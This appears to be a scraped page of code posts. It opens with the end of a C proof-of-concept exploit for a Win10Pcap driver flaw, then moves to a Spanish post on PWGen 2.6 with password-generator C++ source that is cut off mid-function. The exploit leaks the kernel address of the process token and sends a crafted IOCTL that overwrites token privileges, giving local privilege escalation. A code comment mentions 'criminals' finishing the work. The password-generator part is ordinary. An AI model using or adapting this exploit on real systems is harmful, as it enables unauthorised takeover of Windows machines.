                nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH)
        {
                HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
                nSize += 4096;
                pSysHandleInfo = (SYSTEM_HANDLE_INFORMATION*)HeapAlloc(
                        GetProcessHeap(), 0, nSize);
        }

        for (ULONG i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
        {

                PSYSTEM_HANDLE pHandle = &(pSysHandleInfo->Handles[i]);

                if (pHandle->ProcessId == pid && pHandle->ObjectTypeNumber == HANDLE_TYPE_TOKEN)
                {
                        printf(" ObjectTypeNumber %d , ProcessId %d , Object  %p \r\n",pHandle->ObjectTypeNumber,pHandle->ProcessId,pHandle->Object);
                        return pHandle->Object;
                }
        }

        /////////////////////////////////////////////////////////////////////////
        // Clean up.
        //
        HeapFree(GetProcessHeap(), 0, pSysHandleInfo);

        return 0;
}

void main()
{
        DWORD dwBytesReturned;
        DWORD ShellcodeFakeMemory;
        HANDLE token;


        // first create toke handle so find  object address with handle
        if(!OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,&token))
                DebugBreak();
       
        void* TokenAddress = FindTokenAddressHandles(GetCurrentProcessId());

        CloseHandle(token);

        // i dont want write fully weaponized exploit so criminal must write code to find  "WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3" in runtime ( simple task :) 
        HANDLE hDriver = CreateFileA("\\\\.\\WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3}",GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  if(hDriver!=INVALID_HANDLE_VALUE)
  {
          fprintf(stderr," Open Driver OK\n");

          if (!DeviceIoControl(hDriver, SL_IOCTL_GET_EVENT_NAME, NULL,0x80,(void*)((char*)TokenAddress+0x34),NULL,&dwBytesReturned, NULL))
          {
                  fprintf(stderr,"send IOCTL error %d.\n",GetLastError());
                  return;
          }
          else  fprintf(stderr," Send IOCTL OK\n");
  }

  else
  {
          fprintf(stderr," Open Driver error %d.\n",GetLastError());
          return;
  }


  CloseHandle(hDriver);
  getchar();

}





uploaded.net - [code] Win10Pcap Exploit: Local Privilege escalation

[C++] PWGen 2.6: Password Generator

$
0
0

PWGen 2.6
contraseñas Aleatorias y Seguras


PWGen es un profesional generador de contraseñas capaz de generar grandes cantidades de contraseñas criptográficamente, passwords seguros "clásicos", las contraseñas pronunciables, contraseñas basadas en patrones y frases de acceso que consta de palabras de las listas de palabras. Utiliza una técnica de "Random Pool", basada en criptografía fuerte para generar datos aleatorios de entradas de usuario indeterministas (pulsaciones de teclado, manejo del ratón) y los parámetros del sistema volátiles. PWGen ofrece un montón de opciones para personalizar las contraseñas a las distintas necesidades de los usuarios. Además, ofrece una fuerte encriptación de texto y la creación de archivos de datos aleatorios (que puede ser utilizado como archivos clave para las utilidades de cifrado, por ejemplo).

Características notables
  • Software libre y de código abierto
  • Completo Soporte Unicode
  • Discreto: fácil de usar, no instala extraños archivos DLL, no escribe en el registro de Windows, ni siquiera escribe en el disco duro si no quieres, se puede desinstalar fácilmente
  • Utiliza hasta la fecha criptografía (AES, SHA-2) para generar datos aleatorios para las contraseñas de alta calidad.
  • Numerosas opciones de contraseña para diversos propositos
  • Generación de grandes cantidades de contraseñas a la vez
  • Generación de contraseñas compuestas de palabras de una lista de palabras
  • La generación de contraseñas esta basado en patrones (contraseñas con formato) ofrece casi infinitas posibilidades de personalizar las contraseñas a las necesidades del usuario
  • "Contraseña hasher" funcionalmente: Genera contraseñas basado en una contraseña maestra y una serie de parámetros (por ejemplo, el nombre de un sitio web), similar a "HashApass"
  • Texto cifrado Seguro
  • Soporte multilenguaje
  • Manual profundo (52 páginas)
  • Funciona con todas las versiones de Windows (32 bits y 64 bits, a partir de Windows 95 OEM Service Release 2)
Mejoras

Versión 2.6.0 (02/09/2015) cuenta con nuevas opciones para generar contraseñas y frases de acceso en la que cada carácter o palabra, respectivamente, se produce una sola vez; rangos de números en las contraseñas con formato; un nuevo "Proporcionar adicional entropía" de diálogo, que permite entrar o pegar cualquier texto con el fin de alimentar la entropía adicional en el "Random Pool"; y por último pero no menos importante, algunas correcciones de errores.

Codigo Fuente

PasswGen.cpp

Código:

// PasswGen.cpp
//
// PWGEN FOR WINDOWS
// Copyright (c) 2002-2015 by Christian Thoeing <c.thoeing@web.de>
//
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
// 02111-1307, USA.
//---------------------------------------------------------------------------
#include <vcl.h>
#include <algorithm>
#include <set>
#include <Math.hpp>
#pragma hdrstop

#include "PasswGen.h"
#include "Main.h"
#include "TntSysUtils.hpp"
#include "PhoneticTrigram.h"
#include "Language.h"
#include "StringFileStreamW.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)

extern "C" char* getDiceWd(int n);


static const char* CHARSET_CODES[PASSWGEN_NUMCHARSETCODES] =
      { "<AZ>", "<az>", "<09>", "<Hex>", "<hex>", "<base64>", "<easytoread>",
        "<symbols>", "<brackets>", "<punct>", "<high>" };

static const char* CHARSET_DECODES[PASSWGEN_NUMCHARSETCODES] =
      { "ABCDEFGHIJKLMNOPQRSTUVWXYZ",
        "abcdefghijklmnopqrstuvwxyz",
        "0123456789",
        "0123456789ABCDEF",
        "0123456789abcdef",
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
        "",
        "",
        "()[]{}<>",
        ",.;:",
        "" };

static const char* CHARSET_CODE_PHONETIC = "<phonetic>";
static const char* CHARSET_CODE_PHONETIC_MIXEDCASE = "<phoneticx>";

static const int
  CHARSET_CODES_AZ          = 0,
  CHARSET_CODES_az          = 1,
  CHARSET_CODES_09          = 2,
  CHARSET_CODES_Hex        = 3,
  CHARSET_CODES_hex        = 4,
  CHARSET_CODES_BASE64      = 5,
  CHARSET_CODES_EASYTOREAD  = 6,
  CHARSET_CODES_SYMBOLS    = 7,
  CHARSET_CODES_BRACKETS    = 8,
  CHARSET_CODES_PUNCTUATION = 9,
  CHARSET_CODES_HIGHANSI    = 10;

static const int
  CHARSET_INCLUDE_AZ      = 0,
  CHARSET_INCLUDE_az      = 1,
  CHARSET_INCLUDE_09      = 2,
  CHARSET_INCLUDE_SPECIAL = 3;

static const char* CHARSET_AMBIGUOUS =
        "B8G6I1l|0OQDS5Z2";

static const char* CHARSET_SYMBOLS =
        "!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~";

static const char* FORMAT_PLACEHOLDERS =
        "xaAUEdhHlLuvVZcCzpbsSy";

static const char* CHARSET_FORMAT[PASSWGEN_NUMFORMATCHARSETS] =
      { "", // 'x' = custom char set
        "abcdefghijklmnopqrstuvwxyz0123456789",
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
        "", // 'E' = <easytoread> character set
        "0123456789",
        "0123456789abcdef",
        "0123456789ABCDEF",
        "abcdefghijklmnopqrstuvwxyz",
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ",
        "aeiou",
        "AEIOUaeiou",
        "AEIOU",
        "bcdfghjklmnpqrstvwxyz",
        "BCDFGHJKLMNPQRSTVWXYZbcdfghjklmnpqrstvwxyz",
        "BCDFGHJKLMNPQRSTVWXYZ",
        ",.;:",
        "()[]{}<>",
        "", // 's' = special symbols
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", // 'S' + special symbols
        ""  // 'y' = higher ANSI characters
      };

static const int
  CHARSET_FORMAT_x = 0,
  CHARSET_FORMAT_E = 4,
  CHARSET_FORMAT_s = 19,
  CHARSET_FORMAT_S = 20,
  CHARSET_FORMAT_y = 21;

static const int CHARSET_FORMAT_CONST[] =
  { 1, 2, 3, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18 };

static const int FORMAT_REPEAT_MAXDEPTH = 4;


template<class T> inline int strchpos(const T* pStr, T c)
{
  for (int nI = 0; pStr[nI] != '\0'; nI++) {
    if (pStr[nI] == c)
      return nI;
  }
  return -1;
}

template<class T> inline int strchpos(const T* pStr, int nLen, T c)
{
  for (int nI = 0; nI < nLen; nI++) {
    if (pStr[nI] == c)
      return nI;
  }
  return -1;
}


//---------------------------------------------------------------------------
PasswordGenerator::PasswordGenerator(RandomGenerator* pRandGen)
        : m_pRandGen(pRandGen) //, m_pWordList(NULL)
{
  for (int nI = 0; nI < PASSWGEN_NUMCHARSETCODES; nI++)
    m_charSetDecodes[nI] = CharToW32String(CHARSET_DECODES[nI]);

  WString sCharSetDef = CHARSET_FORMAT[2];
  SetupCharSets(sCharSetDef);
  LoadWordListFile();
  LoadTrigramFile();
};
//---------------------------------------------------------------------------
PasswordGenerator::~PasswordGenerator()
{
//  if (m_pWordList != NULL)
//    delete m_pWordList;
}
//---------------------------------------------------------------------------
w32string PasswordGenerator::MakeCharSetUnique(const w32string& sSrc,
                                              w32string* psAmbigChars,
                                              std::list<w32string>* pAmbigGroups,
                                              bool blMakeAmbChSet)
{
  std::set<word32> chset;

  if (blMakeAmbChSet) {
    std::list<w32string> groups;
    int nSepPos;

    if ((nSepPos = psAmbigChars->find(' ', 0)) >= 2 &&
        nSepPos <= int(psAmbigChars->length()) - 3)
    {
      word32 lChar;
      w32string sGroup;
      for (int nI = 0; nI <= int(psAmbigChars->length()); nI++) {
        lChar = (*psAmbigChars)[nI];
        if (lChar == ' ' || lChar == '\0') {
          if (sGroup.length() >= 2)
            groups.push_back(sGroup);
          sGroup.clear();
        }
        else {
          std::pair<std::set<word32>::iterator,bool> ret;
          if ((ret = chset.insert(lChar)).second)
            sGroup.push_back(lChar);
        }
      }
    }
    else
      chset.insert(psAmbigChars->begin(), psAmbigChars->end());

    psAmbigChars->assign(chset.begin(), chset.end());
    if (groups.size() >= 2)
      *pAmbigGroups = groups;
    else
      pAmbigGroups->clear();

    return w32string();
  }

  // make a first set by inserting all chars in sSrc
  chset.insert(sSrc.begin(), sSrc.end());

  if (pAmbigGroups != NULL && pAmbigGroups->size() >= 2) {
    std::list<w32string>::iterator list_it;
    for (list_it = pAmbigGroups->begin(); list_it != pAmbigGroups->end(); list_it++)
    {
      int nMatches = 0;
      w32string::iterator it;
      for (it = list_it->begin(); it != list_it->end(); it++) {
        if (chset.count(*it))
          nMatches++;
      }

      if (nMatches >= 2) {
        for (it = list_it->begin(); it != list_it->end(); it++) {
          chset.erase(*it);
        }
      }
    }
  }
  else if (psAmbigChars != NULL) {
    for (w32string::iterator it = psAmbigChars->begin();
        it != psAmbigChars->end(); it++)
      chset.erase(*it);
  }

//  w32string y(chset.begin(),chset.end());
//  WString x=W32StringToWString(y);

  return w32string(chset.begin(), chset.end());
}
//---------------------------------------------------------------------------
w32string PasswordGenerator::ParseCharSet(const w32string& sInput,
                                          CharSetType& charSetType)
{
  if (sInput.length() < 2)
    return w32string();

  if (sInput == CharToW32String(CHARSET_CODE_PHONETIC)) {
    charSetType = cstPhonetic;
    return CharToW32String(CHARSET_DECODES[1]); // lower-case letters a..z
  }
  if (sInput == CharToW32String(CHARSET_CODE_PHONETIC_MIXEDCASE)) {
    charSetType = cstPhoneticMixedCase;
    return CharToW32String(CHARSET_DECODES[0]) +
      CharToW32String(CHARSET_DECODES[1]);
  }

  w32string sTemp = sInput;
  int nPos;

  if (sTemp[0] == '[') {
    if ((nPos = sTemp.find(']')) >= 2)
      sTemp.erase(0, nPos);
  }

  w32string sParsed;
  for (int nI = 0; nI < PASSWGEN_NUMCHARSETCODES; nI++) {
    w32string sCode = CharToW32String(CHARSET_CODES[nI]);
    if ((nPos = sTemp.find(sCode)) >= 0) {
      sTemp.erase(nPos, sCode.length());
      sParsed += m_charSetDecodes[nI];
    }
  }

  sParsed += sTemp;

  w32string sCharSet = MakeCharSetUnique(sParsed, &m_sAmbigCharSet, &m_ambigGroups);

  int nSetSize = sCharSet.length();

  if (nSetSize < 2)
    return w32string();

  charSetType = cstNormal;

  return sCharSet;
}
//---------------------------------------------------------------------------
void PasswordGenerator::SetupCharSets(WString& sCustomChars,
                                      const WString& sAmbigChars,
                                      const WString& sSpecialSymbols,
                                      bool blExcludeAmbigChars,
                                      bool blDetermineSubsets)
{
  w32string sAmbigCharSet, sSpecialSymCharSet;
  std::list<w32string> ambigGroups;

  if (!sAmbigChars.IsEmpty()) {
    sAmbigCharSet = WStringToW32String(sAmbigChars);
    w32string sDummy;
    MakeCharSetUnique(sDummy, &sAmbigCharSet, &ambigGroups, true);
  }
  else
    sAmbigCharSet = CharToW32String(CHARSET_AMBIGUOUS);

  if (blExcludeAmbigChars) {
    m_sAmbigCharSet = sAmbigCharSet;
    m_ambigGroups = ambigGroups;
  }
  else {
    m_sAmbigCharSet.clear();
    m_ambigGroups.clear();
  }

  if (!sSpecialSymbols.IsEmpty())
    sSpecialSymCharSet = MakeCharSetUnique(WStringToW32String(sSpecialSymbols));
  else
    sSpecialSymCharSet = CharToW32String(CHARSET_SYMBOLS);

  m_charSetDecodes[CHARSET_CODES_EASYTOREAD] = MakeCharSetUnique(
    CharToW32String(CHARSET_DECODES[CHARSET_CODES_AZ]) +
    CharToW32String(CHARSET_DECODES[CHARSET_CODES_az]) +
    CharToW32String(CHARSET_DECODES[CHARSET_CODES_09]),
    &sAmbigCharSet);

  m_charSetDecodes[CHARSET_CODES_SYMBOLS] = sSpecialSymCharSet;

  int nI;
  if (m_charSetDecodes[CHARSET_CODES_HIGHANSI].empty()) {
    const int HIGHANSI_NUM = 129;

    char szHighAnsi[HIGHANSI_NUM+1];
    for (nI = 0; nI < HIGHANSI_NUM; nI++)
      szHighAnsi[nI] = char(127 + nI);
    szHighAnsi[nI] = '\0';

    int nWLen = MultiByteToWideChar(CP_ACP, 0, szHighAnsi, -1, NULL, 0);
    WString sWStr;
    sWStr.SetLength(nWLen-1);
    MultiByteToWideChar(CP_ACP, 0, szHighAnsi, -1, sWStr, nWLen);

    m_charSetDecodes[CHARSET_CODES_HIGHANSI] = WStringToW32String(sWStr);
  }

  CharSetType charSetType;
  w32string sCustomCharSet = ParseCharSet(WStringToW32String(sCustomChars),
    charSetType);

  // are there any non-lowercase letters in the set?
  m_blCustomCharSetNonLC = false;
  for (nI = 0; nI < int(sCustomCharSet.length()); nI++) {
    if (sCustomCharSet[nI] < 'a' || sCustomCharSet[nI] > 'z') {
      m_blCustomCharSetNonLC = true;
      break;
    }
  }

  sCustomChars = W32StringToWString(sCustomCharSet);

  if (!sCustomCharSet.empty()) {
    m_sCustomCharSet = sCustomCharSet;
    m_customCharSetType = charSetType;
    m_nCustomCharSetSize = m_sCustomCharSet.length();
    switch (m_customCharSetType) {
    case cstNormal:
      m_dCustomCharSetEntropy = Log2(m_nCustomCharSetSize);
      break;
    case cstPhonetic:
      m_dCustomCharSetEntropy = m_dPhoneticEntropy;
      break;
    case cstPhoneticMixedCase:
      m_dCustomCharSetEntropy = m_dPhoneticEntropy + 1;
    }
  }

  m_includeCharSets[CHARSET_INCLUDE_AZ] = m_charSetDecodes[CHARSET_CODES_AZ];
  m_includeCharSets[CHARSET_INCLUDE_az] = m_charSetDecodes[CHARSET_CODES_az];
  m_includeCharSets[CHARSET_INCLUDE_09] = m_charSetDecodes[CHARSET_CODES_09];
  m_includeCharSets[CHARSET_INCLUDE_SPECIAL] = sSpecialSymCharSet;

  if (blExcludeAmbigChars) {
    for (nI = 0; nI < PASSWGEN_NUMINCLUDECHARSETS; nI++) {
      w32string sNew = MakeCharSetUnique(m_includeCharSets[nI], &sAmbigCharSet);
      if (sNew.length() >= 2)
        m_includeCharSets[nI] = sNew;
    }
  }

  for (nI = 0; nI < PASSWGEN_NUMFORMATCHARSETS; nI++)
    m_formatCharSets[nI] = CharToW32String(CHARSET_FORMAT[nI]);

  m_formatCharSets[CHARSET_FORMAT_x] = m_sCustomCharSet;
  m_formatCharSets[CHARSET_FORMAT_E] = m_charSetDecodes[CHARSET_CODES_EASYTOREAD];
  m_formatCharSets[CHARSET_FORMAT_s] = sSpecialSymCharSet;
  m_formatCharSets[CHARSET_FORMAT_S] = MakeCharSetUnique(
    CharToW32String(CHARSET_FORMAT[CHARSET_FORMAT_S]) + sSpecialSymCharSet);
  m_formatCharSets[CHARSET_FORMAT_y] = m_charSetDecodes[CHARSET_CODES_HIGHANSI];

  if (blExcludeAmbigChars) {
    for (nI = 0; nI < sizeof(CHARSET_FORMAT_CONST)/sizeof(int); nI++) {
      int nSetIdx = CHARSET_FORMAT_CONST[nI];
      w32string sNew = MakeCharSetUnique(m_formatCharSets[nSetIdx], &sAmbigCharSet);
      if (sNew.length() >= 2)
        m_formatCharSets[nSetIdx] = sNew;
    }
  }

  // determine character subsets in the custom character set
  if (blDetermineSubsets) {
    for (nI = 0; nI < PASSWGEN_NUMINCLUDECHARSETS; nI++) {
      w32string sSubset;
      word32 lPos = 0;
      while ((lPos = m_sCustomCharSet.find_first_of(m_includeCharSets[nI], lPos))
            != w32string::npos)
        sSubset.push_back(m_sCustomCharSet[lPos++]);
      m_customSubsets[nI] = sSubset;
    }
  }
}
//---------------------------------------------------------------------------
int PasswordGenerator::LoadWordListFile(WString sFileName,
                                        int nMaxWordLen,
                                        bool blConvertToLC)
{
  int nNumOfWords = WORDLIST_DEFAULT_SIZE;;

//  TTntStringList* pWordList = NULL;
//  std::vector<std::wstring> newList;
  if (!sFileName.IsEmpty()) {
    if (WideExtractFilePath(sFileName).IsEmpty())
      sFileName = g_sExePath + sFileName;

    TStringFileStreamW* pFile = NULL;
    std::set<std::wstring> wordList;

    try {
      pFile = new TStringFileStreamW(sFileName, fmOpenRead, ceAnsi, true,
        65536, "\n\t ");

      /*pWordList = new TTntStringList;

      pWordList->Sorted = true;
      pWordList->CaseSensitive = true;
      pWordList->Duplicates = dupIgnore;*/

      const int WORDBUF_SIZE = 1024;
      wchar_t wszWord[WORDBUF_SIZE];

      while (pFile->ReadString(wszWord, WORDBUF_SIZE) > 0 &&
            wordList.size() < WORDLIST_MAX_SIZE)
      {
        WString sWord = Trim(WString(wszWord));

        if (sWord.IsEmpty())
          continue;

        int nWordLen = GetNumOfUnicodeChars(sWord.c_bstr());

        if (nWordLen == 0 || nWordLen > nMaxWordLen)
          continue;

        if (blConvertToLC)
          sWord = Tnt_WideLowerCase(sWord);

        //pWordList->Add(sWord);
        wordList.insert(sWord.c_bstr());
      }
    }
    catch (EStreamError& e) {
      /*if (pWordList != NULL)
        delete pWordList;*/
      if (pFile != NULL)
        delete pFile;
      return -1;
    }
    catch (...) {
      /*if (pWordList != NULL)
        delete pWordList;*/
      if (pFile != NULL)
        delete pFile;
      throw;
    }

    delete pFile;

    if ((nNumOfWords = wordList.size()) < 2) {
      //delete pWordList;
      return 0;
    }

    m_wordList.assign(wordList.begin(), wordList.end());
  }
  else if (!m_wordList.empty()) {
    m_wordList.clear();

    // force reallocation of vector by replacing its contents by an empty
    // vector (clear() doesn't necessarily free the buffer but may only
    // reduce the vector size to 0)
    std::vector<std::wstring> temp;
    m_wordList.swap(temp);
  }

  /*if (m_pWordList != NULL)
    delete m_pWordList;

  m_pWordList = pWordList;*/

  m_nWordListSize = nNumOfWords;
  m_dWordListEntropy = Log2(nNumOfWords);

  return nNumOfWords;
}
//---------------------------------------------------------------------------
int PasswordGenerator::GetPassword(word32* pDest,
                                  int nLength,
                                  int nFlags)
{
  int nI;
  word32 lChar;
  std::set<word32>* pPasswCharSet = NULL;

  if ((nFlags & PASSW_FLAG_EACHCHARONLYONCE) &&
        (nFlags & PASSW_FLAG_CHECKDUPLICATESBYSET))
    pPasswCharSet = new std::set<word32>;

  try {
    for (nI = 0; nI < nLength; ) {
      lChar = m_sCustomCharSet[m_pRandGen->GetNumRange(m_nCustomCharSetSize)];
      if (nI == 0 && m_blCustomCharSetNonLC && nFlags & PASSW_FLAG_FIRSTCHARNOTLC
          && lChar >= 'a' && lChar <= 'z')
        continue;
      if (nFlags & PASSW_FLAG_EACHCHARONLYONCE) {
        if (pPasswCharSet != NULL) {
          std::pair<std::set<word32>::iterator, bool> ret =
            pPasswCharSet->insert(lChar);
          if (!ret.second)
            continue;
        }
        else if (nI > 0 && strchpos(pDest, nI, lChar) >= 0)
          continue;
      }
      else if (nI > 0 && nFlags & PASSW_FLAG_EXCLUDEREPCHARS && lChar == pDest[nI-1])
        continue;
      pDest[nI++] = lChar;
    }

    pDest[nLength] = '\0';

    if (nFlags >= PASSW_FLAG_INCLUDEUCL) {
      SecureMem<int> randPerm(PASSWGEN_NUMINCLUDECHARSETS);
      const w32string* psCharSets;
      int nJ, nRand;

      if (nFlags & PASSW_FLAG_INCLUDESUBSET)
        psCharSets = m_customSubsets;
      else
        psCharSets = m_includeCharSets;

      for (nI = nJ = 0; nI < PASSWGEN_NUMINCLUDECHARSETS && nJ < nLength; nI++) {
        int nFlagVal = PASSW_FLAG_INCLUDEUCL << nI;

        if (nFlags & nFlagVal && !psCharSets[nI].empty()) {

  //        if (psCharSets[nI].find_first_of(pDest) != w32string::npos)
  //          continue;

          do {
            if (nFlagVal == PASSW_FLAG_INCLUDELCL && nFlags & PASSW_FLAG_FIRSTCHARNOTLC) {
              if (nLength-nJ >= 2)
                nRand = 1 + m_pRandGen->GetNumRange(nLength-1);
              else {
                nRand = -2;
                break;
              }
            }
            else
              nRand = m_pRandGen->GetNumRange(nLength);
            for (int nK = 0; nK < nJ; nK++) {
              if (nRand == randPerm[nK]) {
                nRand = -1;
                break;
              }
            }
          }
          while (nRand < 0);

          if (nRand < 0)
            continue;

          randPerm[nJ++] = nRand;

          if (psCharSets[nI].find(pDest[nRand]) != w32string::npos)
            continue;

          if (nFlags & PASSW_FLAG_EACHCHARONLYONCE) {
            if (psCharSets[nI].find_first_not_of(pDest) == w32string::npos)
              continue;
          }

          int nSetSize = psCharSets[nI].length();
          while (1) {
            lChar = psCharSets[nI][m_pRandGen->GetNumRange(nSetSize)];
            if (nFlags & PASSW_FLAG_EACHCHARONLYONCE) {
              if (pPasswCharSet != NULL) {
                std::pair<std::set<word32>::iterator, bool> ret =
                  pPasswCharSet->insert(lChar);
                if (!ret.second)
                  continue;
              }
              else if (strchpos(pDest, nLength, lChar) >= 0)
                continue;
            }
            else if (nFlags & PASSW_FLAG_EXCLUDEREPCHARS && nSetSize >= 3) {
              if (nRand > 0 && lChar == pDest[nRand-1])
                continue;
              if (nRand < nLength-1 && lChar == pDest[nRand+1])
                continue;
            }
            break;
          }
          pDest[nRand] = lChar;
        }
      }

      nRand = 0;
    }
  }
  __finally {
    if (pPasswCharSet != NULL)
      delete pPasswCharSet;
    lChar = 0;
  }

  // debug stuff
  /*if (nFlags & PASSW_FLAG_EACHCHARONLYONCE) {
    std::set<word32> testSet;
    for (nI = 0; nI < nLength; nI++) {
      std::pair<std::set<word32>::iterator, bool> ret =
        testSet.insert(pDest[nI]);
      if (!ret.second)
        ShowMessageFmt("Duplicate i=%d, c=%d",ARRAYOFCONST((nI,int(pDest[nI]))));
    }
  }*/

  return nLength;
}
//---------------------------------------------------------------------------
int PasswordGenerator::GetPassphrase(word32* pDest,
                                    int nWords,
                                    const word32* pChars,
                                    int nFlags)
{
  int nCharsLen = (pChars != NULL) ? w32strlen(pChars) : 0;
  int nLength = 0;
  bool blAppendChars = false;

  if (nCharsLen != 0 && !(nFlags & PASSPHR_FLAG_COMBINEWCH)) {
    if (nFlags & PASSPHR_FLAG_REVERSEWCHORDER)
      blAppendChars = true;
    else {
      memcpy(pDest, pChars, nCharsLen * sizeof(word32));
      nLength = nCharsLen;
      pDest[nLength++] = ' ';
    }
  }

  int nRand;
  int nCharsPerWord = nCharsLen / nWords;
  int nCharsRest = nCharsLen % nWords;
  int nCharsPos = 0;
  SecureW32String sWord(WORDLIST_MAX_WORDLEN + 1);
  std::set<SecureW32String>* pUniqueWordList = NULL;

  if (nFlags & PASSPHR_FLAG_EACHWORDONLYONCE)
    pUniqueWordList = new std::set<SecureW32String>;

  try {
    for (int nI = 0; nI < nWords; ) {
      nRand = m_pRandGen->GetNumRange(m_nWordListSize);

      int nWordLen;
      if (m_wordList.empty())
        nWordLen = CharToW32Char(sWord, getDiceWd(nRand));
      else
        nWordLen = WCharToW32Char(sWord, m_wordList[nRand].c_str());

      if (pUniqueWordList != NULL) {
        std::pair<std::set<SecureW32String>::iterator, bool> ret =
          pUniqueWordList->insert(sWord);
        if (!ret.second)
          continue;
      }

      int nInsertWordIdx = nLength;

      if (nFlags & PASSPHR_FLAG_COMBINEWCH && nCharsPos < nCharsLen) {
        int nToCopy = nCharsPerWord;
        if (nI < nCharsRest)
          nToCopy++;

        if (nFlags & PASSPHR_FLAG_REVERSEWCHORDER) {
          memcpy(pDest + nLength, pChars + nCharsPos, nToCopy * sizeof(word32));
          nLength += nToCopy;

          if (!(nFlags & PASSPHR_FLAG_DONTSEPWCH))
            pDest[nLength++] = '-';

          nInsertWordIdx = nLength;
        }
        else {
          if (!(nFlags & PASSPHR_FLAG_DONTSEPWCH))
            pDest[nLength++ + nWordLen] = '-';

          memcpy(pDest + nLength + nWordLen, pChars + nCharsPos, nToCopy * sizeof(word32));
          nLength += nToCopy;
        }

        nCharsPos += nToCopy;
      }

      memcpy(pDest + nInsertWordIdx, sWord, nWordLen * sizeof(word32));
      nLength += nWordLen;

      if (++nI < nWords) {
        if (!(nFlags & PASSPHR_FLAG_DONTSEPWORDS))
          pDest[nLength++] = ' ';
      }
      else
        pDest[nLength] = '\0';
    }

    if (blAppendChars) {
      pDest[nLength++] = ' ';
      memcpy(pDest + nLength, pChars, nCharsLen * sizeof(word32));
      nLength += nCharsLen;
      pDest[nLength] = '\0';
    }
  }
  __finally {
    if (pUniqueWordList != NULL)
      delete pUniqueWordList;
    nRand = 0;
  }

  return nLength;
}
//---------------------------------------------------------------------------
int PasswordGenerator::GetFormatPassw(word32* pDest,
                                      int nDestSize,
                                      const w32string& sFormat,
                                      int nFlags,
                                      const word32* pPassw,
                                      int* pnPasswUsed,
                                      word32* plInvalidSpec,
                                      double* pdSecurity)
{
  int nSrcIdx = 0, nDestIdx = 0, nI;
  int nFormatLen = sFormat.length();
  bool blComment = false;
  bool blSpecMode = false;
  bool blUnique = false;
  bool blSecondNum = false;
  char szNum[] = "00000";
  int nNum;
  int nNumIdx = 0;
  int nRepeatIdx = 0;
  int repeatNum[FORMAT_REPEAT_MAXDEPTH];
  int repeatStart[FORMAT_REPEAT_MAXDEPTH];
  int nPermNum = 0;
  int nPermStart;
  int nUserCharSetNum = 0;
  int nUserCharSetStart;
  int nToCopy;
  word32 lRand;
  double dPermSecurity;

  if (pnPasswUsed != NULL)
    *pnPasswUsed = PASSFORMAT_PWUSED_NOTUSED;

  if (plInvalidSpec != NULL)
    *plInvalidSpec = 0;

  for ( ; nSrcIdx < nFormatLen && nDestIdx < nDestSize; nSrcIdx++) {
    word32 lChar = sFormat[nSrcIdx];

    if (nSrcIdx == 0 && lChar == '[') {
      blComment = true;
      continue;
    }

    if (blComment) {
      if (lChar == ']')
        blComment = false;
      continue;
    }

    if (nUserCharSetNum > 0) {
      if (lChar == '>' && sFormat[nSrcIdx-1] == '%')
        blSpecMode = true;
      else
        continue;
    }

    if (blSpecMode) {
      if (lChar == '*') {
        blUnique = true;
        continue;
      }

      if (lChar >= '0' && lChar <= '9') {
        if (nNumIdx < 5) {
          szNum[nNumIdx++] = lChar;
          continue;
        }
      }

      bool blNumDefault = true;
      int nParsedNum = 1;
      if (nNumIdx > 0) {
        szNum[nNumIdx] = '\0';
        nParsedNum = atoi(szNum);
        if (nParsedNum > 0)
          blNumDefault = false;
        else
          nParsedNum = 1;
      }

      if (blSecondNum) {
        if (!blNumDefault && nNum != nParsedNum) {
          nNum = std::min(nNum, nParsedNum) + m_pRandGen->GetNumRange(
            abs(nParsedNum - nNum) + 1);
        }
      }
      else {
        nNum = nParsedNum;
        if (!blNumDefault && lChar == '-') {
          blSecondNum = true;
          nNumIdx = 0;
          continue;
        }
      }

      SecureW32String sWord(WORDLIST_MAX_WORDLEN + 1);
      w32string sUserCharSet;
      const w32string* psCharSet = NULL;
      CharSetType charSetType = cstNormal;
      std::set<SecureW32String>* pUniqueWordList = NULL;

      switch (lChar) {
      case '%': // "%%" -> '%'
        pDest[nDestIdx++] = lChar;
        break;

      case '<': // begin user-defined character set
        nUserCharSetNum = nNum;
        nUserCharSetStart = nSrcIdx + 1;
        break;

      case '>': // end
        if (nUserCharSetNum > 0) {
          int nUserCharSetLen = nSrcIdx - nUserCharSetStart - 1;
          if (nUserCharSetLen >= 2) {
            sUserCharSet = sFormat.substr(nUserCharSetStart, nUserCharSetLen);
            sUserCharSet = ParseCharSet(sUserCharSet, charSetType);
            if (!sUserCharSet.empty()) {
              psCharSet = &sUserCharSet;
              nNum = nUserCharSetNum;
            }
          }
        }
        nUserCharSetNum = 0;
        break;

      case 'P': // copy password to dest
        if (pPassw != NULL) {
          nToCopy = std::min(w32strlen(pPassw), nDestSize - nDestIdx);
          memcpy(pDest + nDestIdx, pPassw, nToCopy * sizeof(word32));
          nDestIdx += nToCopy;
          if (pnPasswUsed != NULL)
            *pnPasswUsed = nToCopy;
          pPassw = NULL; // must be used only once
        }
